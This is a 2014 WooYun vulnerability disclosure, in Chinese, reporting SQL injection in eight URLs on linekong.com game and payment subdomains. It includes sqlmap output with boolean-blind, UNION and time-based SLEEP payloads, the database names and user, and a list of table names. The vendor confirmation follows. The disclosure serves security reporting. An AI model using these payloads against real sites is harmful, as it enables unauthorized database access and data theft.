当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052809

漏洞标题：蓝港在线多处存在SQL注入漏洞

相关厂商：linekong.com

漏洞作者： HackBraid

提交时间：2014-03-05 10:52

修复时间：2014-04-19 10:53

公开时间：2014-04-19 10:53

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-05： 细节已通知厂商并且等待厂商处理中
2014-03-11： 厂商已经确认，细节仅向厂商公开
2014-03-21： 细节向核心白帽子及相关领域专家公开
2014-03-31： 细节向普通白帽子公开
2014-04-10： 细节向实习白帽子公开
2014-04-19： 细节向公众公开

简要描述：

SQL注入

详细说明：

注入点：
1.http://www.linekong.com/pay/sk_core.php?city=%E5%AE%89%E5%BE%BD
2.http://www.linekong.com/pay/xk.php?city=
3.http://ss.linekong.com/xml/index1.php?sort_id=43%22/
4.http://yb.linekong.com/morei.php?sort_id=223
5.http://yt.linekong.com/voting.php?types=radio&vote_id=33
6.http://yt.linekong.com/wj_image.php?image_id=11378 倚天剑与屠龙刀
7.http://xyhj.linekong.com/painting.php?sort_id=44&page=1
8.http://xyhj.linekong.com/wallpaper.php?sort_id=43&page=1

漏洞证明：

http://www.linekong.com/pay/sk_core.php?city=%E5%AE%89%E5%BE%BD
User：

Parameter: city
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: city=%E5%AE%89%E5%BE%BD' AND 5983=5983 AND 'vPwg'='vPwg
    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: city=%E5%AE%89%E5%BE%BD' UNION ALL SELECT NULL,NULL,CONCAT(0x7178627271,0x6c5775764d4650464c57,0x71696d7371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: city=%E5%AE%89%E5%BE%BD' AND SLEEP(5) AND 'xuOq'='xuOq
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user:    'wwwwebutf8@172.16.9.162'
sqlmap identified the following injection poi


DB：

current database:    'www_web_utf8'


tables：

Database: www_web_utf8
[28 tables]
+-------------------+
| lk_address        |
| lk_article        |
| lk_article_inserl |
| lk_build          |
| lk_channel        |
| lk_city_temp      |
| lk_columns        |
| lk_download       |
| lk_editors_inserl |
| lk_from_temp      |
| lk_grading        |
| lk_group          |
| lk_high_temp      |
| lk_image          |
| lk_image_inserl   |
| lk_inserl         |
| lk_job            |
| lk_job_info       |
| lk_job_temp       |
| lk_member         |
| lk_sort           |
| lk_types          |
| lk_url            |
| lk_url_inserl     |
| lk_vote           |
| lk_vote_inserl    |
| lk_vote_option    |
| lk_zhaopin        |
+-------------------+


http://ss.linekong.com/xml/index1.php?sort_id=43%22/

Place: GET
Parameter: sort_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sort_id=43"/' AND 5368=5368 AND 'MMbj'='MMbj
    Type: UNION query
    Title: MySQL UNION query (NULL) - 46 columns
    Payload: sort_id=43"/' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716f626171,0x77495a4148764769644c,0x7161617871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: sort_id=43"/' AND SLEEP(5) AND 'xFnh'='xFnh
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database:    'ss_web'


http://yb.linekong.com/morei.php?sort_id=223

Place: GET
Parameter: sort_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sort_id=223) AND 6951=6951 AND (5810=5810
    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: sort_id=223) UNION ALL SELECT NULL,CONCAT(0x71716d7271,0x4a777479754e494d754f,0x71676e7671),NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: sort_id=223) AND SLEEP(5) AND (3864=3864
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database:    'yb_web'


http://yt.linekong.com/voting.php?types=radio&vote_id=33

Place: GET
Parameter: vote_id
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: types=radio&vote_id=33' AND SLEEP(5) AND 'tjha'='tjha
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current user is DBA:    False
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: vote_id
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: types=radio&vote_id=33' AND SLEEP(5) AND 'tjha'='tjha
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database:    'yt_web'


http://xyhj.linekong.com/painting.php?sort_id=44&page=1

Place: GET
Parameter: sort_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sort_id=43) AND 5820=5820 AND (3196=3196&page=1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: sort_id=43) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161766d71,0x594e6a63736772704a63,0x71616f7871),NULL#&page=1
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: sort_id=43) AND SLEEP(5) AND (1541=1541&page=1
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
current database:    'xyhj_web'


修复方案：

您懂得！

版权声明：转载请注明来源 HackBraid@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-03-11 11:28

厂商回复：

已经在狂修改中.. 谢谢

最新状态：

暂无